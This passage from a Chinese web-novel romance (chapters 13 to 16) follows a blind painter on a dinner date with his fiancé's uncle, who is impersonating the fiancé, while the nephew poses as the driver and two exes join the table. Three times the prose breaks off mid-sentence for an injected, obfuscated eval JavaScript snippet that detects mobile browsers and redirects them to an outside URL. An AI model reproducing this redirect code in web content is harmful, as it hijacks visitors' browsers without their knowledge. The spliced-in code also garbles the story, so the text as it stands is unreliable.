被挂了电话的柯玉树:“?” “我自己去车库?”柯玉树默默把手机塞到口袋,低喃:“程栖山,你把我当人了吗?” 对于未婚夫时不时抽的风,柯玉树虽然无奈,但也只有怜爱了,他摸索着到了门口,打开门,楼道里的烟味已经散尽了。 柯玉树把门口放着的盲杖捏在手里,他很少有需要用到盲杖的地方,家里面积虽然大,但到底是在室内,不常用,这还是柯玉树第一次用盲杖独自出门。 柯玉树用盲杖探路,慢吞吞移动到电梯口,电梯轨道滑行的声音在他耳中放大,他迷茫站了一会儿。 因为找不到地方刷电梯卡。 未婚夫的家里独门独户,柯玉树没有邻居,而且还在十七楼楼,上面只有七户人家,这时间下来的概率几乎不大。 他叹了口气,摸出手机想要给未婚夫打电话,只是还没按到快捷键,一阵雪松香气缓缓靠近。 “玉树?” 这是未婚夫忽然人性占据道德高地,悔恨至极,所以来找他了? 柯玉树挑眉。 “我还以为你真打算让我一个人去车库,我的未婚夫。” 程栖山刚才的人格又阴暗又粗鲁,根本不会照顾盲人,有时候压根就没把柯玉树当成盲人,也没把他当成人。 “我哪里会?”程诲南失笑。 知道程雀枝一个人待在地下车库后,程诲南两眼放光,他那痴傻的二侄子,居然敢把柯玉树一个人丢在家里,跟个无主的礼物一样,谁都能取走。 于是他来拿礼物了。 程诲南用柯玉树的电梯卡刷开电梯。 “你哪里不会?”柯玉树问,“刚不是把我丢家里了吗?” 程诲南:“……” 他像是被哽住一样,直到柯玉树疑惑看向他,他才不情不愿地说:“对不起,是我的错。” “也不是你的错,你不会照顾人,很正常。”柯玉树说。 或许是刚刚吸入了二手烟,柯玉树难得有了些火气,说话都有些阴阳怪气。程诲南自然感觉出柯玉树有些生气,他不由得感叹二侄子真是会干缺德事,现在却要他来哄。 不过生气的玉树也很可爱,程诲南不介意哄一哄,他抓住柯玉树的手臂,靠近说:“靠我近一些,电梯要到了。” 柯玉树的火气来得快,去得也快,既然未婚夫都道歉了,他也不再追究,乖乖点头说:“好。” 电梯到达十七楼,程诲南先引着柯玉树的手触碰紧闭的电梯门门缝,才说:“在这里。” 门缝是中心点,柯玉树知道大概位置后,进去就不会撞到门上。 柯玉树点头,抬脚进入电梯,发现未婚夫居然还拦着电梯门,不由得惊讶。 这是又换人格了吗? 他未婚夫换人格跟开灵智一样,一阵一阵的。 “我们要去哪里吃饭?”柯玉树问。 两人站定在电梯,由未婚夫负责按楼层。 这次出门算是两人确定要结婚后,第一次约会,柯玉树刚才换衣服的时候,还很有仪式感地搭配了衣服,现在只希望这个开了灵智的未婚夫不要选个普通餐厅。 程诲南略微沉思,然后说:“去茶心餐厅吧。” 茶心餐厅在他们这个圈子挺有名的,不仅高隐私度,还需要预定,预定这个条件就已经筛选出了很多人,未婚夫明显是才决定的地点,不用预约? 有实力。 “好。”柯玉树说。 地下车库空荡荡的,这一片区域本就没有住几个人,程雀枝在驾驶座等得有些烦躁,他只是想给柯玉树一个教训,只要柯玉树一通电话打过来,他必得飞奔上楼去接人。 只是到现在柯玉树都没有打来电话。 程雀枝盯着监控里空荡荡的家,手指狠狠用力,方向盘被他拧得都有些松动。 柯玉树一个瞎子能到哪里去?为什么不打电话给自己?明明只需要一个电话,服个软,他就能原谅柯玉树。 为什么不给他打电话? 难道自己下楼了? 程雀枝担心柯玉树会受伤,于是干脆下车张望,想要看一下车库门口,或者电梯里有没有人影,忽然,他听到了由远及近的脚步声。 来了! 不能让柯玉树发现自己在等他,程雀枝长腿一迈,开车门、坐进驾驶室一气呵成。 坐进驾驶室后,他才发现脚步声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949069|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不止一个人的,透过车窗,程雀枝看到柯玉树正在缓缓向自己这个方向靠近,而旁边扶着他的不是别人,正是一脸得意的程诲南! 这一下子可把程雀枝给点炸了。 又被偷家?! 程雀枝顿时怒从心头起,恶向胆边生,他钥匙一拧踩动油门,动作一气呵成,发动机振动,仿佛随时都能把车子开出去。 程诲南,撞死你! 柯玉树疑惑开口:“程栖山,今天晚上是司机送我们过去吗?” 司机程雀枝:“……?!!” 程诲南差点没能憋住笑,他死死掐着手心,声音还是泄出了一丝笑意:“嗯,对,是司机。还不来给柯先生开门?” 程雀枝:“?” 程诲南故作生气:“怎么回事?雇主的话都不听了吗?” 柯玉树:“?” 程雀枝:“……” 啊啊啊啊啊啊!!! 他气死了,他真的要气死了,程诲南这个老畜生不仅偷家,居然还把他当成司机! 程雀枝的手都被气得发抖,又不能直接开口,程诲南在,跟他打一架不要紧,要是程诲南一个想不开直接公布真相怎么办? 柯玉树会因为欺骗而讨厌自己吗?程雀枝还没能夺得柯玉树的爱,他绝对不能前功尽弃。 于是程雀枝臭着一张脸,打开了驾驶座车门,用自己的声音说:“……抱歉,两位先生,我这就开门。” 这声音咬牙切齿,柯玉树愣了一下,由程诲南扶着进入车内,才说:“这位司机……我们似乎见过。” 柯玉树话音刚落,车上的叔侄俩都愣住了,程雀枝更是狂冒冷汗,难道说柯玉树记得他的声音? 不应该,刚才在楼道的时候柯玉树就没反应过来,而且柯玉树和程雀枝不过几面之缘,怎么可能这么久了还记得声音? “是、是吗?什么时候的事?”程雀枝问。 程诲南转过头去不忍直视,他二侄子有时候是真的痴傻,难怪要去搞艺术。 这样的语气,柯玉树绝对能听出不对劲,程诲南还想再玩一段时间,于是无奈给二侄子打掩护:“或许是玉树听错了,这司机是我新换的,之前没敢用他开车。” 柯玉树:“十分钟前,他蹲在我们家门口吸烟,被我请走了。” 程诲南:“……?” 程雀枝:“……” 车内顿时安静下来,程雀枝又悔恨又庆幸,他松了口气,然后说:“那确实是我,柯先生,是程先生让我先到车库等你们的。程先生还说要等你先示弱道歉,否则不会去接你,不过现在他似乎并没有这么做?” 程诲南:“……?” 不要什么黑锅都往他身上扣好吗,程雀枝你真是蠢笨如猪!自己干的事情都不敢承认,还是不是男人? 柯玉树缓缓扭过头朝向程诲南,迷茫地问:“示弱?道歉?为什么程栖山,是我做错了什么吗?” 虽然是迷茫的求问,但柯玉树话语里却透露出质问,程诲南再火冒三丈也只能把苦水往肚子里咽,认下罪名。 因为他现在就是“程栖山”。 真是他的好侄子啊…… 14. 针锋对决 14 “没有,玉树你没有做错什么,我只是想你多依赖我一些,结果等了半天你都没有给我打电话。”程诲南软下声音说,“对不起。” 程诲南道歉都熟练了。 柯玉树:“是吗?” “当然,玉树这次是我错了,下次绝对不会再丢下你一人。我家玉树这么好看,一个人待着要是被谁带走,就得不偿失了。” 程诲南说这话的时候,一直盯着后视镜里的二侄子。 程雀枝:“……” 点谁呢?! 程雀枝又炸了,但他又必须压抑住怒火,安分守己,做沉默而无能的“司机”。 柯玉树这才笑了笑,说:“怎么可能?我一大活人难不成还会被诈骗吗?况且,我有什么值得骗子团伙骗的?不要担心,你只是把我当成正常人对待了而已,这很好,因为我并不需要他人的怜悯。” 柯玉树说这话时,声音自然而温柔,说出来的话也让两人久久失语。 柯玉树对谁都很冷淡疏离,只有未婚夫是不同的,而且他的未婚夫明明知道他失明,却把他一人丢在了楼上,这样过分的事情,为什么柯玉树能自然而然接受,还为未婚夫找好了理由? 他对程栖山的爱到底有多深? 程雀枝气得猛扯了一下方向盘,程诲南的笑容也淡了下去。 程雀枝冷声问:“去哪?” 现在他小叔才是柯玉树的未婚夫,程雀枝就算再气也做不了什么,只能跟着他们一起出门,盯着程诲南,免得他动手动脚。 “去茶心,报我的名字就行。”程诲南说。 报程诲南的名字? 程雀枝眉头一挑,看来小叔是打算“回国”了,也是,现在国内只有程栖山一个人主持大局,真正的程栖山又在郊外摊着长蘑菇,他们再不用自己的身份回国,估计要出大乱。 既然程诲南都回来了,那么他也要回来。 柯玉树只听驾驶座的“司机”意味不明地冷笑一声,下一刻,车子弹射起步,像是“司机”在发泄自己心中的怒火。 程诲南被这毫无防备的后坐力震得抖了一下,程雀枝正要冷嘲热讽,就看到柯玉树忽然抓住程诲南的手臂,帮他保持平衡。 程雀枝心中的火气更大了,也更憋屈了,憋得他差点吐出血来。 行啊,茶心餐厅是把情人餐厅,程诲南的司马昭之心路人皆知,他程雀枝今天说什么都要跟着过去! 半路上,柯玉树忽然凑到程诲南旁边,小声说道:“你换的新司机似乎火气很大。” 不仅蹲在家门口抽烟,开车还那么没轻没重,比以前那个开车平稳的司机差远了,也不知道程栖山怎么选的人。 程诲南笑着说:“行啊,我明天开了他。” 其实能听到的程雀枝:“……” 真把他当司机了吗? ……他忍。 茶心餐厅是会员制的,经常作为情侣约会地点或者相亲地点,程雀枝先行一步报了程诲南的名字,然后在大堂经理热切的目光下冷声说:“希望你们餐厅不要透露客人的真实姓名。” 要是待会哪个服务生念了句程诲南的名字,那他们不炸了吗? 确定好餐位,程诲南刚好扶着柯玉树进来,程雀枝连忙走过去跟在柯玉树另一侧。 柯玉树察觉到司机也跟着进了餐厅,微微惊讶,这司机给他一种很熟悉的感觉,而且,他总感觉有一道阴暗的视线注视自己,如影随形。 程栖山这到底找的什么人? 柯玉树忽然用力握了下程栖山的手臂,程诲南回握柯玉树的手,看向痴傻的二侄子,微微摇头。 快滚。 程雀枝就是不走,甚至还翻了个白眼。 程诲南叹了口气,说:“玉树,新司机没来过那么好的餐厅,就让他跟我们一起吧。” 他是真不想跟自己这个痴傻的二侄子一起吃饭,奈何两人都有对方的把柄,只好委屈柯玉树了。 柯玉树也一直感觉右侧的司机盯着自己,他稍微有点不适,他可以忍受未婚夫阴暗的视线,不代表可以忍受一个司机。 奈何未婚夫就像个无能的丈夫一样,甚至先一步提出,要司机和他们一起吃饭,柯玉树还能怎么样? 当然是像老父亲一般把他原谅。 于是柯玉树往程诲南那个方向靠了靠,想要狠狠掐他的腰,没想到程诲南顺势揽住他的腰,甚至还往自己怀里带了带。 柯玉树:“……” “其实我觉得司机可以去其他……” 程雀枝忽然打断:“柯先生忘了吗?最近不太平,我虽然是司机,也兼职保镖,最好不要跟你们分开,万一又像今天白天那样,有人袭击就不好了。” 带人袭击的程诲南:“……确实,咱们要小心一些,别被袭击了。” 柯玉树想了想,还是同意了,只是多一个人罢了,未婚夫都不生气,他干嘛要生气?还浪费时间。 “好。” 在柯玉树不到的地方,叔侄俩的眼神已经经过了许多次交锋,无声地放着狠话,中间的柯玉树却有些思绪飘忽。 他刚到餐厅的时候,所有注意力都在司机身上,现在往卡座的方向走了几步,似乎听到了熟悉的声音。 餐厅座位不多,大多是情侣在小声交谈,还有悠扬的钢琴声伴奏,柯玉树只以为是自己听错了。 三人落座,那熟悉的声音更近了,柯玉树仔细一听,发现是他们后面那张桌子传来的。 旁边的司机忽然嘲讽:“怎么没订个包厢?大堂不安全啊,程老板。” 柯玉树还是不明白他一个司机狂什么,但毕竟是未婚夫的司机,他也不好直接上手怼,所以解围:“茶心餐厅要预约,临时决定来这里还能有位置,我未婚夫已经做得很好了。司机师傅要是不喜欢的话可以站着参观,或者没事儿就去后厨炒俩菜,做点有用的事。” 这一番话说得绵里藏针,狠,太狠了,程雀枝一脸不可置信地看着柯玉树,不明白明明晨间温柔送他去上班的玉树,现在怎么能对着他说出这样伤人的话语。 难道就因为现在他不是程栖山吗? 程雀枝气得眼冒金星,还陷入了怒火与自卑的漩涡,那漩涡里全是程栖山的声音和脸,将他一遍遍将他裹挟侵吞。 他好像是只井里的青蛙,一遍又一遍幻想着自己是王子,在王子的脸和声音里迷失自我,等待被公主亲吻,奈何他却走错了片场。 程雀枝不是青蛙王子,而是井底之蛙。 程诲南声音带着笑,说:“好了,司机师傅,听柯先生的怎么样?少说话,多做事。” 未婚夫还是没有把司机赶走的意思,柯玉树有些无奈,埋怨道:“程栖山,你脾气怎么这么好?” 这种下属他居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949070|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然都能忍,该他赚。 “毕竟是个毛头小子嘛,犯错很正常,我们点菜,玉树有什么忌口的,或者什么想吃的吗?我念菜单,你听。”程诲南说。 毛头小子·程雀枝:“……” 程诲南无视了二侄子要吃人的目光,拿起旁边的菜谱给柯玉树念菜名,餐厅的菜谱由中英法三语组成,西式菜谱里有些词汇是法语,未婚夫发音标准,柯玉树听着微微勾起唇。 “栖山,你在国外的时候有什么特别喜欢吃的吗?”柯玉树问。 程诲南口味很挑,不仅挑情人,也很挑入口的食物。说起美食他自然侃侃而谈,然后就惊喜地发现,柯玉树一个学艺术的居然对美食有所涉猎。 两人交谈起来,居然像是旁人根本无法插足的一对眷侣,程雀枝在两人对面阴暗地看着他们说话,脸色都有些扭曲。 “最后再加一份罗宋汤,把剩下的你来。”柯玉树说。 柯玉树依照自己的口味点了几道菜,这次他倒没有像以前那样照顾餐桌上的所有人,未婚夫不用他照顾,至于外人司机,柯玉树对这个让他吸二手烟还没有礼貌的司机,没有一点好感。 “好。” 程诲南埋头点菜,他对柯玉树的了解不多,一时间需要权衡利弊的就很多了。 柯玉树静静等着,眼神却又有些飘忽不定,因为他现在听清后面那桌人的声音了,果然是熟悉的人。 庭英。 他似乎在相亲。 是了,庭家确实家大业大,庭英也到了适婚的年龄了,确实该提前接触接触联姻对象,还好他和庭英这小伙子分得快,要是到时候庭英有了未婚妻还往他面前凑,柯玉树都不敢想象自己的名声能臭成什么样。 程雀枝也听到了庭英的声音,他心中的火气被看好戏取代,想着有没有什么办法能让玉树注意到后面。 哪个好学生大半夜不睡觉去酒吧买醉,还打电话给自己教授啊? 想也知道这小子不怀好意。 程雀枝没想到的是,柯玉树居然听到了庭英的声音,还直接问旁边的程诲南:“栖山,那天你把庭英送回去后,还做了什么吗?” 那天之后,庭英就再也没有给柯玉树打过电话,这根本不像他的性格。 庭少爷向来不守规矩,即便两人的合同已经失效,柯玉树也做好被他纠缠的准备,现在庭英却像个合格的合作对象,合约终止后人消失得无影无踪,绝对是程栖山做了什么。 程诲南眉头一挑,看向二侄子。 这小子的债来了。 对面的二侄子笑容得意,又充满恶意,似乎想看他的笑话,等他求他帮忙。 程诲南可不是受制于人的性格,他伸出手去够杯子,指尖一动,只听杯盏在桌面划过。 程诲南:“嘶——” 柯玉树立刻急切地问:“怎么了?是被烫着了吗?” “没事,就是水的温度有一点高……庭英啊,我想想,不是什么大事,一时间想不起来,玉树想知道哪方面的呢?” 柯玉树却抓着他的手,担心不已,也不想再听庭英的事了,微微皱着眉说:“算了算了,想不起来就不要想,手疼不疼?” 程诲南矫揉造作地说:“疼~” 然后冲二侄子挑了挑眉,挑衅意味十足。 程雀枝:“……” 他算是知道什么是恃宠而骄了。 15. 五个人的修罗场 15 柯玉树善解人意,既然未婚夫不想提,他自然也就不问了。 他猜测,应该是未婚夫给庭英那小子放了狠话,说不定还告知了庭家,让他们管管这少爷,庭家就给庭英安排了相亲。 柯玉树叹了口气,庭英对他的执念他不是不知道,现在只希望那边不要注意到自己,免得又惹来什么麻烦。 服务员开始上菜,他们都经过专业的训练,但还是忍不住偷偷打量柯玉树这一桌的三个人,往常来他们餐厅的大多都是情侣,就算是三个人,其中两人应该也是闺蜜或者好兄弟,但看这一桌的样子,三个人好像都不太熟,特别是坐在对面那个稍显年轻的男人,一直虎视眈眈盯地盯着眼睛缠着纱布的先生,就是随时都要把人咬上一口,拆吃入腹。 服务员强行将自己的目光收回,这位好看的先生眼睛上蒙着纱布,可能行动不便于是他轻声问:“先生,需要帮助吗?我们餐厅有无障碍服务。” 坐在盲眼先生旁边的男人冷淡拒绝:“不用了,我来照顾他。” 既然程诲南这么说,服务员自然不再多说些什么,开始介绍他们点的菜品。 柯玉树从头至尾都淡淡听着,一言不发。 “这是程先生预先在我们餐厅订的红酒,产自1999年夏季的格奈曼达庄园……” 服务员手上的红酒是醒好了的,倒入杯中的声音清亮而澄澈,这明显是程诲南在展示自己的实力。 程雀枝一脸不屑,“老板,你就给病人喝红酒吗?” 程诲南无奈一笑,说:“玉树的眼睛只是小问题,不用这么忌口吧?” 程雀枝:“呵。” 柯玉树淡淡道:“司机,话不要太多。” 程雀枝:“……” 两人开始观察柯玉树的脸色,柯玉树依旧神色冷淡,对服务员轻轻点头,说:“少倒一点吧。” 似乎是顺从了未婚夫的话,又没有完全顺从,让人摸不透他在想什么。 倒好了红酒,在等待香气凝聚的这一段时间,服务员开始介绍前菜,柯玉树则开始不留痕迹观察周围的环境。 对面没有声音,应该是落地窗,所以离他最近的只有后面那一桌,庭英那一桌。 庭英似乎和那位小姐争吵了起来,声音不大,再加上旁边一直有服务员介绍菜品,柯玉树听不清他们在吵什么,只听到似乎还有一个人在劝架。 程诲南是第一个注意到柯玉树出神的人,他也没在听服务员的介绍,他若有所思回头,见到了一个熟人。 是他曾有过一面之缘的人——庭家现任话事人,庭华。 旁边应该就是他侄子,庭英,和柯玉树有纠葛的人。 庭家家学渊源和宗教有关,据说祖上是道教的一支,在c市有很大的话语权,庭华穿着一身浅灰色的休闲练功服,他头发偏长,到后背肩胛骨的地方,用一根红绳捆起来,放在肩膀上。 是个心思很重的商人,有时也很澄澈,至少程家不会把大把大把的钱砸进福利院就为博个名声。 有点良知,但不多。 正在劝架的庭华也看到了程诲南,点头示意,以为他是柯玉树的未婚夫程栖山。 程诲南也冷淡点头回应,然后转回头看柯玉树的反应。 程诲南查过庭英的事,他二侄子虽说是救了庭英,也多多少少得罪了庭家,柯玉树应该也听到了庭英的声音,怎么一点反应都没有? 程雀枝的位置视野最为开阔,一眼就看到了后座的两个人,和庭英对视,他忽然笑了一声,提醒道:“程先生,庭英在我们桌子对面,程先生让我帮忙带了话给庭家,想必他们家真让他……嗯,应该是相亲吧?不愧是在国内,效率真是快。” 话语里阴阳怪气,程诲南一听就知道这是让自己背锅,气笑了,柯玉树则缓缓放下茶杯。 这破司机可真会给他找麻烦。 程诲南看向柯玉树,柯玉树依旧冷淡,说:“庭英应该放下了,所以过来相亲,这很好。” 程诲南眉头一挑,真是有意思。 “玉树不过去打个招呼吗?”程诲南问。 此言一出,不光是柯玉树,就连程雀枝和后桌的那三个人也安静下来,看来他们也在留意柯玉树这一桌的动静。 程诲南转过身,发现庭英那小子正虎视眈眈盯着柯玉树,坐在旁边的庭小叔笑得十分斯文有礼。 “程先生,好久不见。” 程诲南:“庭华先生,久仰久仰。” 柯玉树僵在了原地。 之后,庭华与那小姐短暂说了几句话,小姐略一点头,然后利落起身,先行离开。 等到人走后,庭英像是被压抑了五百年终于放出来的猴子,火急火燎来到柯玉树的餐桌旁边,大声说:“柯教授,我终于再见到你了,我、我真的很想你,我的心意总有一天会让你感知到的……对了,刚才那位小姐和我一样是为了应付家人才出来相亲,我们是清白的,柯教授,你一定要相信我,我要当你一辈子的缪斯,柯教授……” 程诲南:“……?” 什么鬼? 这小子叽里咕噜说个没完,程诲南没有耐心听下去,但又不好出口打断小辈的话,一时间笑容都快要僵在了脸上。 程雀枝看小叔这么吃瘪,顿时暗爽,只是庭华也来了餐桌面前,他拎起侄子的后衣领往后扯,略略点头,带着歉意说:“抱歉,是我侄子失礼了,但既然咱们都认识,要不拼个桌?” 程诲南:“……” 谁跟你都认识了? 能不能不要这么不见外? 没想到还真让庭华把桌给拼上了,一时间桌上的人心中五味杂陈,最为闹心的就是柯玉树了,因为他还真认识庭华,庭华甚至是他的挚友。 现在桌上有三个男人和他有感情纠葛,未婚夫程栖山、明恋他的庭英,还有……庭华。 庭华,他的挚友,他的追求者,也是他最初没能拿得下的初代缪斯。 庭华是和柯玉树相识近十年的挚友,两人相逢于北方的一个道观,柯玉树到那里去采风,庭华到那里去求解,两人相遇后一拍即合,成了旅友。一来二去,双方发现对方的观点习惯都十分契合,简直是灵魂伴侣,特别是柯玉树发现庭华也在s市时,当即交换联系方式。 直到几年前,柯玉树的灵感枯竭,他画下那幅未完成的作品后,就连动笔也十分困难,更别提完成作品,于是他踏上寻找灵感的旅程,再次在道观中见到了一身道袍的庭华。 灵感就这样来了。 柯玉树缠着庭华,千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949071|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方百计和他签订了协议,却没想到庭华和他的关系越来越亲密,柯玉树很敏感,自然能感觉到庭华对自己越来越浓的爱意,一开始他还没怎么在意,反正庭华是他的灵感来源,他的缪斯,和缪斯产生感情的话,说不定他的灵感会来一个大爆发。 却没想到没过多久,柯玉树忽然对庭华的脸失去了兴趣,就像渣男在经历一场轰轰烈烈的感情后,忽然说腻了,柯玉树提出解约,打算赔偿庭华一大笔钱后继续做朋友,庭华却拒绝了。 庭华没有吵,没有闹,也没有挽留,从前的他像一个无忧无虑追随柯玉树的小狗,离去的时候,却变成了垂垂老矣的败犬,为了能留下柯玉树的联系方式,他重新退回了好友的位置,柯玉树却再也没有联系过他。 至此,柯玉树失去了他唯一的挚友,他开始不断寻找缪斯,直到遇到最后一位缪斯,庭英。 柯玉树知道庭英应该也是庭家的人,只是没想到他居然是庭华的侄子,真是一段怨孽…… 他有些后悔了。 庭家叔侄落座,服务员的表情又差点没绷住,他接受了刚才的三人行,大不了是三角恋粗箭头,但现在五个人怎么回事? 五个人怎么吃情侣餐? 怎么拼? 真是为难打工人。 服务员绷住了,凭借着过硬的职业素养和经理交涉一番,为客人更换了大桌,重新上菜。 大桌吃情侣餐,更诡异了。 柯玉树一直在沉默,庭英跟在他旁边说个不停,像是不断摇尾巴的小狗,叔侄俩一个是温顺腼腆的边牧,另一个则是精力充沛的比格。 这一举动落在程家叔侄眼中,简直就是在挑衅,奈何程家叔侄俩又担心庭华识破程诲南的身份,不敢多言。 未免股市动荡,外界都不知道程栖山成了植物人的事,需要程栖山出面的大多由程诲南戴美瞳顶替,很少人知道他们叔侄俩长得相差无二,只有瞳孔颜色不同,程诲南这段时候在外也没摘下过美瞳,一直以程栖山的身份示人。 他们不知道程栖山和庭华到底有多熟,所以不敢轻举妄动,好在庭华也没怎么说话,一时间竟然维持了微妙的平衡。 “柯教授,你试试这个,这道菜的味道超级好,你肯定会喜欢!” 庭英用公筷给柯玉树夹了一筷子菜,然后殷切地盯着柯玉树看,全场就他肆无忌惮,看得程雀枝咬碎了一口牙。 庭英想,柯教授眼睛蒙着纱布的样子真好看啊,脆弱又动人,他甚至想要伸手摘下来看一看那双迷蒙的眼睛。柯玉树的眼睛很漂亮,却带着一丝锋利,现在看不到了,要是露出迷茫的神色,庭英根本不敢保证自己是否能够压抑住本性。 柯玉树:“嗯,吃饭。” “柯教授,我记得之前我们在一起的时候你最爱吃虾仁蛋羹了,茶心的虾仁蛋羹最好吃,我求了小叔好久他才给我开了特权,所以味道是不是很熟悉?这就是我经常给你带的虾仁蛋羹。” 庭英叽叽喳喳说个不停,却又不小心把另外三个人点炸了。 程雀枝拍案而起:“什么叫你们在一起的时候?!” 程诲南阴恻恻地笑:“玉树,我怎么不知道他是你前男友?” 庭华放下筷子:“……精彩。” 柯玉树:“……” 16. 病人 16 “庭英,话不能这么说,我们只是雇佣关系。”柯玉树扶着额头解释,“你是不是应该再学一遍初中语文?” 现在的大学生都这么野了,当着他未婚夫的面宣誓主权,不怕被打吗? 庭英:“都是一个意思的,教授。” 柯玉树:“……” 柯玉树的解释其他三个男人也就勉强接受,默不作声,以免在柯玉树面前跟个妒夫一样。 特别是现在柯玉树明面上的未婚夫·真·小叔·程诲南,他打落牙齿往嘴里咽,根本不敢质问。 “行了庭英,安心吃饭。”柯玉树对庭英说,“你的餐桌礼仪呢?” 庭英愣了一下,随即露出了受伤的表情,虽然柯教授没有直接拒绝,但他也有自知之明,知道柯教授这是生气了。 他迷茫地看着柯玉树,最终,黯然点头,又忽然想起一柯玉树看不到,闷闷回答说:“对不起,柯教授,我安静。” 还是初出茅庐的清澈男大学生好应付,柯玉树两句话就给他摆平了。 柯玉树冷淡拒绝庭英后,众人彻底沉默,程诲南则贴心照顾柯玉树,没有介绍旁边程雀枝的意思。 庭英蔫头耷脑,庭华则在默默观察餐桌上的所有人,他认得程栖山和程雀枝的脸,程家这一对“兄弟”的气氛不对劲,剑拔弩张,像是已经反目成仇。 庭华心生疑惑,没打算暴露和柯玉树的关系,要是这时候庭华把和柯玉树的关系说出来,不说程栖山,他侄子庭英第一个炸毛。 他们的关系还不至于放到饭桌上,让不相干的人知道。 庭华觉得,桌上的几个男人和柯玉树的关系都没什么区别,不管曾经怎样轰轰烈烈,现在已经成了一潭死水,除了…… 庭华的目光落到程诲南身上。 这个幸运儿,居然真的成为了柯玉树的未婚夫。 呵,全靠运气。 吃到后面,柯玉树觉得氛围越来越诡异,庭华沉默的原因他知道,挚友一向体贴,不会在这样的场面给柯玉树难堪。 那未婚夫呢? 真什么都不问吗? 程诲南、程雀枝:不敢问,真的不敢问。 一顿饭吃得柯玉树胃病都快出来了,不过令人庆幸的是,大家都挺有涵养,不该问的没问,不该打听的关系也没打听。 程诲南以程栖山的身份偶尔和庭华谈论几句合作上的事,点到为止,说话间还动作自然地照顾柯玉树。 庭华在他们对面看着,只微笑点头说:“你们还挺恩爱。” 程诲南嘴角勾着浅淡的笑,“那是当然,等玉树的眼睛好了,我们就去领证。” 庭英:“……嘤!” 柯玉树在程诲南旁边坐着,把自己当成花瓶,一个字也懒得说。 庭英呜咽一声后一个劲地给自己灌酒,程诲南储存的红酒本就是上了年份的,度数不低,用餐时大多都是来一杯助助兴,像庭英这样把红酒当饮料喝的服务员还是第一次见。 庭华本来不想再让侄子丢脸,却被程诲南阻止:“小辈喜欢就让他喝,我们做大人的没必要计较这些。” 他用长辈口吻说出来的话,更是把庭英气得火冒三丈,偏偏程诲南现在的身份是柯玉树的未婚夫,庭英不能像在学校那样和竞争者来一场公平决斗,只能一个劲儿地借酒消愁。 好好一清纯男大学生,现在颓靡得像个被社会毒打了的社畜,在场几人都有些无语。 用餐结束,程家人本想带着柯玉树离开,却在起身的时候,听到一直彬彬有礼的庭华说:“玉树,我有事找你,咱们聊聊?” 程雀枝:“?” 程诲南:“?” 庭英:“?” 三脸问号。 他们仨完全不懂为什么庭华叫得这么亲密,庭英晕晕乎乎地没反应过来,程家这对叔侄则是心生警惕。 难道说庭华和柯玉树一早就认识,或者说是庭华发觉了什么? 有危险。 柯玉树已经很久没有和庭华联系了,但庭华在他心中依旧是挚友,于是他睁开未婚夫的手,向庭华的方向点点头。 “好啊,栖山,庭华是我的朋友,我先跟他去休息室聊聊,你们先走不用等我,我让他送我回去。” 一顿饭结束庭华才点破他们的关系,柯玉树想,他一定发现了什么。 程诲南勉强笑了笑,然后善解人意地说:“你去吧,我们还是在这里等你,不碍事。只是他们家庭英似乎醉了,庭华先生,把庭英交给我吧,我来照顾。” 笑话,程诲南和程雀枝根本不敢走,不仅不敢,他们还得想办法让庭华把自己大侄子留下当人质。 庭华向程家叔侄略一点头,说:“有劳二位了。” 然后就把大侄子丢给了虎视眈眈的情敌,扶着柯玉树去休息室坐下。 休息室大门一关,程家叔侄看着烂醉如泥的庭英,对视一眼。 呵。 休息室内,庭华给柯玉树倒了杯温水,细心放在他的手边。 柯玉树这次出门穿的是一件柴斯特菲尔德大衣,这件是海军蓝色,收腰明显,单排扣戗驳领十分有设计感,衬得柯玉树白皙的肌肤像是在发光。 庭华很少看到他穿深色的衣服,这样正式,他现在哪里像个油画系的教授,简直是s市上城家族娇养出来的大少爷。 “小花,是发生什么事了吗?”柯玉树温和地说。 庭华既然把其余人支开,应该是不想让程栖山他们听到他要说的事。 有什么不能说的吗? 庭华长久的注视着眼前的男人,柯玉树对待他的态度一向都很温和,就像对待一个普通友人一样,然而几年前柯玉树待在他身边时,是那样开心,看他的眼睛都在放光,像是他才是柯玉树的全世界。 庭华叹了口气,他看柯玉树看得太久,久到柯玉树手中的白开水已经过半,他才缓缓开口说:“为什么不找我帮忙?” 他在问抄袭事件。 柯玉树只扭过头,“我不在乎这些,也不想暴露身份。” 庭华知道Ye是他,他们曾是密不可分的挚友,也不需要多说什么。 庭英看着他,忽然释然一笑,“我找你不是这件事,我的心理咨询室最近来了个很奇怪的病人,虽然不能透露病人隐私,但是我还是想提醒你,你最好小心一点你的未婚夫。” 庭华刚才和柯玉树未婚夫交流的时候,就感觉这男人太老气了,明明两人是同样的岁数,柯玉树未婚夫的话里话外,却都有着教育的口吻。 